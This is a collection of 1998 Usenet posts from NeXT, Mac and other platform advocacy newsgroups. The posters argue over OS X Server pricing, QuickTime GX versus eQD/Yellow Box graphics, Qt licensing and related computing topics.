<7348sa$9dp$1@cronkite.cs.umd.edu> <199811202008582097043@mp-214-164.daxnet.no>
<734l8p$f2i@shelob.afs.com> <19981121013040811568@mp-216-124.daxnet.no>
Message-ID: <xep52.3063$rY3.7268331@news.rdc1.sdca.home.com>
Date: Sat, 21 Nov 1998 02:06:21 GMT
NNTP-Posting-Date: Fri, 20 Nov 1998 18:06:21 PDT
Organization: @Home Network
In <19981121013040811568@mp-216-124.daxnet.no> Thomas Sivertsen wrote:
> Greg Anderson <greg@afs.com> wrote:
>
> > Thomas Sivertsen wrote:
> > >Sean Luke <seanl@cs.umd.edu> wrote:
> > >> Greg Anderson (greg@afs.com) wrote:
> > >> > Barring a miracle, the die is cast: Snake-eyes and boxcars.
Curiously,
> > I
> > >> > can't even bring myself to get angry about it anymore.
> > >>
> > >> Snake eyes and boxcars -- Greg, your guess is $1166?
> > >
> > >Huh? Please elaborate for us europeans... ;-)
> >
> > In the dice game "craps," snake-eyes are double-ones, and boxcars are
> > double-sixes. Sean was making a mathematical pun. Of course, what I
really
> > intended to imply by my original remark was that us old-time NeXT folks
had
> > made our bets, and now it looks like we've "crapped out". (Which is what
> > happens if you roll 2, 3, or 12 before making your original point
again.)
>
> I don`t know the game, on both levels. I don`t think there`s need to
> totally despair yet, but I`m not the one with my money in this, so I can
> understand that you`ve gotten frustrated.
>
>
[snip snip]
Greg Anderson said "crapped out" like busted, broke, finished, done when
one "bets" wrong when gambling for riches. The player throwing the dice can
have a partner do the placing of his bets for him on the craps table.
"Frustrated" is what it's like to gamble with a *partner* who doesn't place
your bets in time to win. "Crapped out" happens when your *partner* doesn't
*Put-Up* the bet.
And historically, is the origin of the challenge "Put up or shut up".
-r
Date: Fri, 20 Nov 1998 18:07:49 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics strategy...
Message-ID: <stevehix-2011981807490001@192.168.1.10>
References: <B27A4B1E-2812E@206.165.43.102> <F2q93t.E6@T-FCN.Net> <nagleF2qDEL.8sw@netcom.com>
Organization: Close to None
In article <nagleF2qDEL.8sw@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> maury@remove_this.istar.ca (Maury Markowitz) writes:
>
> > ZZZtt wrong. Again. We've been over this, YB is not based on Carbon.
>
> All those colored boxes never happened, right? Did any of that
> stuff ever ship?
I'm sure someone will correct me if I'm wrong, but isn't it
the case that:
- YB is based on NextStep
- Carbon is based on MacOS
not to mention that the YB was spec'd before Carbon appeared...
--
Do not argue with the forces of nature,
for you are small, insignificant,
and biodegradable.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: 20 Nov 98 19:18:44 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27B7131-2C57B@206.165.43.8>
References: <F2qrn2.B9J@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
>In <B27AF807-37C28@206.165.43.169> "Lawson English" wrote:
>> OK, YB and Carbon share the same graphics model
>
> Yes, much better.
>
>> which is incompatible with GX and QUickTime.
>
> What makes you say this? QT's stuff runs over QD now, do you have any
>reason to suspect it won't run over eQD? I don't think you do, and I
>certainly don't.
>
I didn't say that, as you proved you understood below. I said that the
graphics model for Carbon/YB and the graphics model for GX/QT Vectors, are
not the same -they're incompatible:
trivial incompatibilities:
quadratic vs cubic vectors
fixed vs floating point coordinates
not-so trivial:
3x3 matrix vs 3x2 matrix for transforms (no perspective in Carbon/YB)
less color capabilities in YB/Carbon
>>Not only do QuickTime vectors use exactly the same model,
>> but the color transitions used in QT use this same color model as well.
>
> Good, let's change them too. You still don't get it after a more than a
>WHOLE YEAR on the same topic. Here, let me outline it for you AGAIN...
>
>Developers: we need an update to QD that doesn't have a 32k limit, and it
>would be nice if it had floats and made working with PS easier.
>
But the PS model was far too slow to work with existing Macs. Floating
point operations on 68K machines aren't really useable for normal graphics
operations, and DPS was never all that fast on NeXT machines unless you
composited offscreen and blitted onscreen, or so I have heard. RAM and VRAM
were MAJOR costs a few years ago. NeXT cubes originally cost more than any
Mac ever did, and I'm betting that that was at least partly due to the
RAM/VRAM costs, as well as other hardware enhancements to make DPS run
well.
GX was fixed-point based because it would run well on all 68K Macs without
lots of expensive hardware add-ons. Just about any 32-bit 68K Mac with
enough RAM will run GX reasonably fast. The same would NOT be true of DPS
and 68K Macs -the hardware was nowhere near as sophisticated as NeXT's
$7000 models.
>Old Apple: Here's GX, it's nothing at all what you asked for, doesn't ship
>with the machine because only about 1 in 4 can support it now, and the
>books for it weigh about 30 pounds and take up 2 feet of shelf space.
>
And by 7.1, it WAS shipping with all machines. And the books may be a bit
bloated, but the API provides a lot of useful features.
>New Apple: Here's eQD, it's a floating point based system with no 32k
limit
>that looks a lot like PS so that will be easier to use.
>
Actually, it was designed to look like *QD* so that it would be easier for
already-trained QuickDraw programmers to use. GX is FAR easier to use than
raw PS for most onscreen purposes.
> Which do you think more developers will be interested in? Something
that
>makes it easier to shim QT vectors, or something that makes it easier to
>work with PS? Well then, I guess that's that then right?
>
GX is just as easy to work with for PS as eQD is because GX is translated
automatically into PS for printing, just as eQD will be. eQD is based on
the PDF model, which is a subset of the PS model. GX is an object-based
model that isn't dependent on a specific printer architecture and one need
not worry about PS's limitations. In fact, eQD has some color features not
found in PS that make it less than WYSIWYG, but they aren't as powerful as
GX's. Which is why eQD can't be used to create the drawing part of a QT
vectors package -you have to "roll your own" GX-like solution in order to
edit QT vectors via a GUI.
>> Really?
>
> Yes, really. Do you see anyone else supporting your position? No? I
>guess that means you're the only one then.
>
Claims like this often come from Windows users talking about supposed
Windows superiority. NeXT thing you know, you'll be telling me that if
no-one else is using MacOS, why should Apple?
>> So you think that people should be GLAD that there is no simple, easy
way
>> to create QuickTime vector graphics via a GUI without reinventing GX
>> graphics?
>
> How said anything about glad? I said "won't care". Rest of "GX is
>better than superman " comparison snipped as being off topic.
Off-topic to what? The subject of this thread?
>
>> ALSO, has anyone looked at the possibility of using QT as an internet
>> "fax" medium?
>
> Oh yeah, that'll happen. About the same time OD takes over the workd.
>
As it should have, if IBM and Apple hadn't both wimped out -one over the
OS/2 fiasco and the other over the MacOS fiasco.
>> to PS/EPS using my upcoming GX print utility. Since the color and
>> transform
>> model of QuickTIme is based on GX, I can handle this far, FAR easier
than
>> any ole model based on Carbon or YB.
>
> Whereas the standard for faxing description based files already exists,
>and is PS.
>
And doesn't handle any non-opaque color at all well. In fact, PS doesn't
handle non-opaque colors at all. GX and QT and, to a limited extent, eQD/YB
graphics do this infinitely better than PS does.
>> As quite a few people have suggested, the most sensible way for Apple to
>> handle the whole transition to Carbon and Yellow Box is via GX.
>
> Yes, a "few". About four to be exact. And they're wrong, as GX does
not
>support a float based map with no pixel limit, this would make it harder
to
>convert YB. The opposite is not true, a floor(x) will always work. In
>fact simply declaring it as an int will work. One more little issue
you've
>simply ignored.
>
The difference between fixed and float is trivial. The GX file format is
based on fixed-point coordinates, but is a *static* format. Are you
suggesting that it would be "hard" to convert GX coordinates to floating
point coordinates when loading a GX file created with an old 68K machine
into a Carbon/YB-based app? The only change in the API would be the
deletion of a macro to convert float to fixed.
>> On the Carbon/YB side, the color model of the graphics engine
>
> Bla bla bla. What you're saying is that they should chuck all the work
to
>date, toss out all the ps side of things, replace this with a new
>non-existing version of code that was not well tested and all the
>developers for are no longer at Apple, doesn't work as well for imaging to
>printers, and never really worked even on the Mac, and do this to support
>something in QT that no one uses anyway.
>
So, what you're saying is that end-users should stick with good ole
PostScript as the model because that's what everyone else is using and
therefore there can't possibly be anything better?
So what was the deal that you were telling me about bitmap-color handling,
Maury? WHy are they talking about doing a GX-like solution for bitmaps if
it isn't of any value?
And why not for ALL graphic objects? That's the only rational thing to do
from a human-interface design perspective. Or do you think that users will
appreciate selecting a bitmap shape AND a text-shape in a drawing app only
to find that the standard color-handling of bitmaps doesnt' apply to text?
That sounds kinda "modal" to me, Maury.
> Yeah, good idea, why don't you get right on that.
>
>> The above should be doable and without THAT much extra trouble
>
> Riiight, it even took a whole page to DESCRIBE it!
>
Apple should:
Extend GX typography to handle the ATSUI API (text blocks, etc)
Extend GX shapes to handle QuickTime vector color ramp shapes
Extend the shape types to approximate cubic Bezier graphics
Extend the shape-flattening to handle the above
Extend the eQD/YB graphics model to handle GX/QuickTime colors
Extend the eQD/YB graphics model to handle GX/QuickTime perspective
Special-case eQD/YB graphics to handle GX/QuickTime graphics shapes
Create a library that loads and saves the above extended GX file format
Create a GX-like API for eQD that allows developers to use the same source
code for 68K/PPC/eQD applications.
Make a default GX-like library for YB that is extensible but is able to
load/save eQD graphics files as well as PDF files.
Some of the above are really trivial and some would take a lot of work,
comparatively speaking, but should be doable. The payoffs for Apple and its
developers and end-users would be enormous.
>> This is a rational way
>
> When Apple starts looking to you for rational ways to build an imaging
>engine, I'm starting to write Win code.
>
>> Apple's installed base of customers and developers, don't you agree?
>
> Apple's current customers on either the Carbon, or YB side, OR BB as you
>neglected to mention, will not see a single change with the change to eQD
>from what I've seen/read. The same could not be said for GX even on
MacOS.
>And this is what you call a good idea? In fact, I think the fact that it
>never worked in the past and was not supported by any number of
>developers
>is an excellent sign that it would not work in the future or be supported
>by developers, let alone the difficulties that you outlined in your long
>diatribe about what Apple should be doing.
>
> So no, I don't agree.
Yeah, whatever. Either I'll get GXFCN out the door and people will "see the
light," or they'll laugh at my work and move on.
It all depends on marketing, don't it?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com>
<73519n$no0$3@msunews.cl.msu.edu>
Message-ID: <Esp52.3065$rY3.7268331@news.rdc1.sdca.home.com>
Date: Sat, 21 Nov 1998 02:21:24 GMT
NNTP-Posting-Date: Fri, 20 Nov 1998 18:21:24 PDT
Organization: @Home Network
In <73519n$no0$3@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> In <732sko$a4e@shelob.afs.com> "Greg Anderson" wrote:
> > Sal Denaro wrote in message <732qrv$ae5@news1.panix.com>...
> > >On Fri, 20 Nov 1998 00:12:57 GMT, spagiola@my-dejanews.com wrote:
> > >>Stupid stunts like over-pricing OS X Server would be a severe kick in
the
> > >>b***s of yellow-box developers, and I do hope that Greg's pessimism is
> > >>unfounded.
> >
> >
> > Barring a miracle, the die is cast: Snake-eyes and boxcars. Curiously, I
> > can't even bring myself to get angry about it anymore.
> >
> > >I would be shocked if the price was under $500. The term "server" was
> > >added for a reason; I very much doubt that Apple thinks that OSXS will
> > >sell in large numbers.
> >
> > I very much doubt that Apple *wants* OSXS to sell in large numbers.
> > Considering the "success" of the infamous NeXT Sales Prevention Team,
they
> > should have plenty of experience to draw from in this area.
> >
>
> We'll know whether they really want to sell YB or not in serious numbers
soon
> enough. If there isn't a version sans web-objects for $199 or lower, and
we
> are stuck with a $1K or higher MacOS X with WO then we know Apple really
> has no clue what to do with YB and the technology they purchased from
NeXT.
>
> The issue here is: If Apple is going to kill MacOS X by pricing then what
> the hell is the point of spending the developement $$ and touting YB all
> over the place?
>
>
[snip rant]
Remember a little anti-trust trial against you know who, going on currently?
Didn't Tevie state a monopoly was to blame for the failure of one OS named
Rhapsody, already? Isn't this the second new OS in as many years by Apple?
Why would they want to delay this OS wrt. a anti-trust ruling? How might
Apple effect the success of this second OS by waiting?
Apple buying NeXT effectively took NeXT technologies off-the-market. Not a
bad thing to start with a clean slate...
-r
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <F2r2MF.6GF@bilver.magicnet.netREMOVETHIS>
References: <7329lg$ot0$1@nnrp02.primenet.com> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com>
Date: Sat, 21 Nov 1998 02:23:03 GMT
In article <911595335.545550@optional.cts.com>,
Tony Minkoff <tminkoff@cts.com> wrote:
>In article <slrn75bgbb.bqd.float@interport.net>,
>void <float@interport.net> wrote:
>>I post from a vintage-'93 machine, with 48 megs of RAM and a 33 MHz
>>processor.
>And if you had purchased it on an iMac-style financing plan, you'd
>still be paying for it today. :-(
Or the Gateway plan whereby you get a new computer. The payments
(on the TV screen) indicate 48 months. But in 24 months you get to
trade it in on a new computer. I can envision they are seeing
users 'hooked for life'. The could give the 'puters away and make
a pile on just the interest - the card has their name on it - so
they are getting something if they partnered with a major card
vendor.
--
Bill Vermillion bv @ wjv.com
From: guty@rents.conm
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: Sat, 21 Nov 1998 03:10:18 GMT
Organization: CSW Net, Inc.
Message-ID: <36562dec.47279702@news.cswnet.com>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <72vhuh$t0v$1@newnews.nl.uu.net> <cirby-1811981900150001@pm60-33.magicnet.net> <pxpst2-1911981016450001@pelli.pathology.pitt.edu> <36545FDF.EF8D6DBD@netscape.com>
x-no-archive: yes
Christopher Pratt <cpratt@netscape.com> wrote:
>Peter wrote:
>
>> Call me stupid but I will ask this question anyway...
>> Why is VGA limited to 8 bit color and did sVGA change this?
>
>VGA was actually not 8 bit color, but 4 bit color (16 colors). Super VGA
>was 8 bit color. Pretty lame, eh? VGA cards had 256 K bytes of video
>RAM, and Super VGA cards had 512 K bytes. Both VGA and Super VGA run at
>640 by 480 resolution.
In 1985 my Amiga 1000 had 4096 colors, two channel sound, and a
rudimentary speech synthesiser, and it was all standard equipment.
Today the Amiga spans the cosmos.
Awsome ain't it.
From: michael_peck@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: Sat, 21 Nov 1998 05:22:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <735ile$1r1$1@nnrp1.dejanews.com>
References: <3649C384.DEE7E7E1@voy.net> <72ov5h$khl$1@reader1.reader.news.ozemail.net> <36504C35.7E40AA4D@voy.net> <72qrrs$l1b@news1.panix.com> <72s2g6$c43$1@nnrp03.primenet.com> <72tfvq$h34@news1.panix.com> <72tk9o$ojh$1@nnrp03.primenet.com> <3652674D.78EBDD5A@nstar.net> <72v3ah$3u4$1@nnrp03.primenet.com>
In article <72v3ah$3u4$1@nnrp03.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
> Michael J. Peck <mjpeck@nstar.net> wrote:
> : John Jensen wrote:
> Well, the guy asked about the Gimp. The Gimp uses GTK+, so porting GTK+
> to MacOS X seemed more obvious to me than porting the Gimp to Qt and then
> porting Qt to MacOS X.
Matthias Ettrich ported Gimp to Qt, in part. He spent 1 (one) day on it and
released the entire thing to the public as a demonstration of how the toolkits
could be used in a more interchangeable way.
The Gimp people went apeshit and Ettrich is still taking flames from some of
them. Yet another telling example of the "spirit of cooperation" embodied in
some prominent members of the GNU organization.
> As an aside, and since you mentioned licenses, Qt is continuing to evolve
> their position:
>
> http://www.troll.no/qpl/
What wonderful news. The best news, though, is how soon it hints that Qt 2.0
will be available. Anyone want to take a bet on whether we see Qt 2.0 before
MacOS X Server?
Just kidding. Maybe.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2rBr1.LKp@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com> <72srls$r7d@newsb.netnews.att.com> <adtF2LrEG.3px@netcom.com> <7353h0$259$2@news00.btx.dtag.de>
Date: Sat, 21 Nov 1998 05:40:13 GMT
Sender: adt@netcom13.netcom.com
=?ISO-8859-1?Q?Lars_Tr=E4ger?= (Fam.Traeger@t-online.de) wrote:
: Anthony D. Tribelli <adt@netcom.com> wrote:
: > WinNT for PowerPC didn't sell, MacOS did. MacOS retained control.
:
: How do you know? It came on a CD with all NT-versions.
Few people purchased PowerPC hardware that was not an RS/6000 or a
PowerMac (or embedded).
: > : Likewise, IBM and/or Motorola could have backed BeOS had they wanted to,
: > : like Intel is doing today ...
: >
: > BeOS wasn't very far along at the time, cloners can't sell beta systems.
: > MacOS retained control.
:
: They can sell bare systems.
Well 1% of their former market would be better than 0%, but I don't think
that's a realistic option.
: > : ... IBM could have released OS/2 for PowerPC had they so chosen ...
: >
: > They did release OS/2 for PowerPC in a corporate channel, it didn't sell
: > well. MacOS retained control.
:
: IBM's marketing of OS/2 rivals that of pre-Jobs Apple.
Microsoft was so effecting at FUD'ing users and stalling developers (kill
the only OS/2 compiler) until Win95 was available. It was legendary.
People will study it in business school a century from now. ;-)
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: 20 Nov 98 22:57:57 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27BA479-E551@206.165.43.60>
References: <F2qt7y.C0D@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>
> Right, and? They are on the other hand compatible (to what degree we
>don't know yet) PS. I think that is a whole lot more interesting to most
>developers than whether or not it looks like GX. Your argument is like
>saying we should have square tires on cars, because the Edsel used them.
The color model of GX is a superset of PS's color model. The
transformational capabilities of GX are a superset of PS's transform
capabilities.
GX provides a way to do MORE than the PS model allows onscreen, and then to
shoehorn it back into the PS model. Apple is forsaking that ability by
giving up GX outside of QuickTime. Are you saying that the graphics model
suitable for a white piece of paper covered with opaque inks is appropriate
for a modern, high-end computer oriented towards graphics?
And as for the rest, we know that Apple was accosted about QUickTime itself
by Microsoft. We know that Gates singled out OpenDoc in a memo when he was
discussing what should or should not be allowed in the browser market to be
shared with Netscape. Why is it such a stretch to assume that Adobe doesn't
like GX and hasn't dropped hints about losing it as part of support for the
next version of the OS?
I mean, are you REALLY happy with a PS-only color model for the next
generation of color graphics out of Apple?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: macdev@earthlink.net (macdev)
Newsgroups: comp.sys.mac.advocacy,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: A question for MIlo
Date: Fri, 20 Nov 1998 22:11:23 -0800
References: <3655cfd9.23479416@news.chicagonet.net>
Organization: EarthLink Network, Inc.
Message-ID: <macdev-2011982211260001@sdn-ar-001casbarp022.dialsprint.net>
In article <3655cfd9.23479416@news.chicagonet.net>,
milo_mklinux@my-dejanews.com (Milo MkLinux) wrote:
> I posed some questions to M. Rassbach in previous posts.
Are you Edwin Thorne? If we looked back in dejanews, would we find that
it was Edwin e thorne (or one of his "other" names such as macsbug, etc)
who asked some of these questions to rashbach?
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Sat, 21 Nov 1998 06:58:25 GMT
Organization: ICX Online, Inc.
Message-ID: <36565ed1.2115428@news.icx.net>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <36550c88.17937362@news.icx.net> <F2q9E3.L1@T-FCN.Net>
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NNTP-Posting-Date: 21 Nov 1998 06:59:12 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <36550c88.17937362@news.icx.net> Michael McCulloch wrote:
>> Am I the only person who has just about had enough with the whole
>> computer thing? Selling guitars sounds like more fun as a career
>> choice. Microsoft has turned software development into a commodity
>> skill. Programmers now face the same economic pressures as did US
>> assembly lines of the 80's.
>
> What are you talking about? Walking from my gate to the exit at the SF
>airport I saw no less that 10 jobs posted on the pillars. When was the
>last time assembly line workers were advertized for in airports?
I think SF is an exception. Of course there is a demand in SF, since
just about every sw company has a presence in the area and a flock of
venture capitalists looking for the next Microsoft. Not everyone lives
in SF, or wants to.
>They can't find the talent they need, they have import it from overseas. Sorry,
>this is WRONG.
IMO, I think they don't want to pay for the talent they need, which is
basically some sort of godlike creature that can somehow craft a work
of art from the mess that is the MS operating systems and dev tools.
They are importing cheaper labor and relying on brute force in numbers
for success. How are you going to compete with imported labor that
will be thrilled with a Visual C++ training course and a $20/hour job?
Or just set up shop in India -- even cheaper.
From my perspective, 9 out of 10 software jobs are for Microsoft
Visual Studio programmers for $35k to $50k per year. Sorry, I'm not
interested. Frankly, no amount of pay is worth the headache anyway.
If you have been graced with a Microsoft certification and have some
experience, you can demand more pay -- as long as you are happy with
Visual Studio for the rest of your career.
Michael McCulloch
From: mazulauf@localhost.localdomain ()
Newsgroups: comp.sys.mac.advocacy,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A question for MIlo
Date: 21 Nov 1998 07:10:53 GMT
Organization: University of Utah - ACLIS
Message-ID: <slrn75cpvi.lv.mazulauf@grumpy.met.utah.edu>
References: <3655cfd9.23479416@news.chicagonet.net> <macdev-2011982211260001@sdn-ar-001casbarp022.dialsprint.net>
NNTP-Posting-Date: 21 Nov 1998 07:10:53 GMT
On Fri, 20 Nov 1998 22:11:23 -0800, macdev <macdev@earthlink.net> wrote:
>In article <3655cfd9.23479416@news.chicagonet.net>,
>milo_mklinux@my-dejanews.com (Milo MkLinux) wrote:
>
>> I posed some questions to M. Rassbach in previous posts.
>
>Are you Edwin Thorne? If we looked back in dejanews, would we find that
>it was Edwin e thorne (or one of his "other" names such as macsbug, etc)
>who asked some of these questions to rashbach?
If you find any of these questions with Edwin's name on them (I have no
idea if you will), it would only be because he (Milo) put his (Edwin's)
name into his (Milo's) newsreader as a joke, and then forgot to remove
it.
And if you believe that. . .
Also there is the question of why "Milo" attaches "MkLinux" to his name,
when in fact he doesn't use MkLinux, and doesn't appear to really know
very much about it.
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
MIME-Version: 1.0
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References: <3649C384.DEE7E7E1@voy.net> <72ov5h$khl$1@reader1.reader.news.ozemail.net>
<36504C35.7E40AA4D@voy.net> <72qrrs$l1b@news1.panix.com>
<72s2g6$c43$1@nnrp03.primenet.com> <72tfvq$h34@news1.panix.com>
<72tk9o$ojh$1@nnrp03.primenet.com> <3652674D.78EBDD5A@nstar.net>
<72v3ah$3u4$1@nnrp03.primenet.com> <735ile$1r1$1@nnrp1.dejanews.com>
Message-ID: <9Zt52.581$B54.21111530@news.rdc1.ne.home.com>
Date: Sat, 21 Nov 1998 07:29:09 GMT
NNTP-Posting-Date: Fri, 20 Nov 1998 23:29:09 PDT
Organization: @Home Network
In <735ile$1r1$1@nnrp1.dejanews.com> michael_peck@my-dejanews.com wrote:-
> Matthias Ettrich ported Gimp to Qt, in part. He spent 1 (one) day on it and
> released the entire thing to the public as a demonstration of how the
toolkits
> could be used in a more interchangeable way.
>
> The Gimp people went apeshit and Ettrich is still taking flames from some
of
> them. Yet another telling example of the "spirit of cooperation" embodied
in
> some prominent members of the GNU organization.-
Of course the Gimp people freaked. Gimp is GPL'd, QT was distributed under a
license that violates the GPL (I haven't read the new QT license so I don't
know whether QT still violates the GPL or not). It's like giving a recovered
alcoholic a pepsi, but the pepsi is half Jim Beam. The guy didn't want the
Jim Beam, the Jim Beam shouldn't have been mixed with his pepsi in the first
place, but there it is. License issues are a big issue, and not
understanding what the issues are or even that there are issues doesn't make
them go away. Linux is a buzzword now, and it's full of people who could
give a flying fuck at a rolling donut about it's continued health and
prosperity. Licenses are chosen to protect the integrity of our software.
This is important stuff whether you think so or not.
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: Sat, 21 Nov 1998 02:57:14 -0500
Organization: Styx DTP
Sender: monner@dial02p29.ottawa.storm.ca
Message-ID: <36567256.454B1692@tone.ca>
References: <F2qt7y.C0D@T-FCN.Net> <B27BA479-E551@206.165.43.60>
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NNTP-Posting-Date: 21 Nov 1998 07:58:10 GMT
Many thanks to Maury and Lawson for this entertaining exchange. But, do
you see the interesting parallel here. GX and Rhapsody: both great
technologies that Apple is screwing around with because their big
developers ignored them. Screw the little developers who are taking the
risks.
----
Seems like most of the original GX apps have been put on the back
burner, but there is one that looks like it might be hot. Multi Ad
Creator has long had a solid niche market in the publishing industry.
The new version, Creator2, was done using GX, and has evolved into a
full-fledged layout program which is highly Apple Scriptable, and really
neat. Its gotten good press and won some awards. (However wait for v 1.5
before you try it.)
They are such a small company that when you ask about things on the
discussion list you more than likely will get a response from one of the
engineers working on the next release of the system, sometimes asking
for feedback from users about how they'd like a particular feature
implemented. (Thats cutting out the middle man.)
This is a recent Q/A from the list (creator-off@beloit-kansas.com):
Q:
>...The initial comments about Extended
>Quickdraw in MacOS X seemed to indicate that QDGX stuff would be part
of
>it. But then the Carbon specs don't include QDGX so you can't get there
>from here. Do I read this right? Is Apple going to do anything to ease
>your efforts, or are the GX developers thinking about some joint
>efforts.? Could the code from GXGraphics extension be incorporated into
>the individual programs when extensions go away?
A:
>I'm sorry, Michael, but nondisclosure agreements prevent us from
commenting
>further on this at this time.
I don't know if you agree, but the NDA reference tells me that Apple is
at least working with one GX developer on getting to MacOSX.
Michael Monner
From: douyang@novice.uwaterloo.ca (Darwin Ouyang)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 21 Nov 1998 08:13:11 GMT
Organization: University of Waterloo
Message-ID: <911635989.591202@watserv4.uwaterloo.ca>
References: <7329lg$ot0$1@nnrp02.primenet.com> <slrn759k3h.n3m.float@interport.net> <01be1452$1e5eb6b0$a007280a@ntw_bmladmin> <01be150e$a7080a40$a1f1ccc3@default>
Cache-Post-Path: watserv4.uwaterloo.ca!douyang@novice.uwaterloo.ca
In article <01be150e$a7080a40$a1f1ccc3@default>,
Bjørnar Bolsøy <bbolsoey@rl.telia.no> wrote:
>Stephen Kwasniak <skwasniak@westpac.com.au> wrote:
>
>> sure NT is bloatware but so is all of MS other products
>
> Actually, MS has managed to develop a few decent
> products from time to time. WinCE is a good example
> IMO, with a full win32 complient API with a host of
> elegant features basically fitting inside a 200Kb footprint.
WinCE is cool. WinCE is a good subset of the Win32 API (not full), but
*is* tremendously simplified and optimized for extremely
low-memory/low-power environments.
(Execute-from-ROM certainly helps reduce the memory overhead of WinCE a
great deal.)
Darwin Ouyang
From: user@this.here.com (inphlux)
Newsgroups: comp.sys.next.advocacy
Subject: Re: crazy idea but ah....m68k
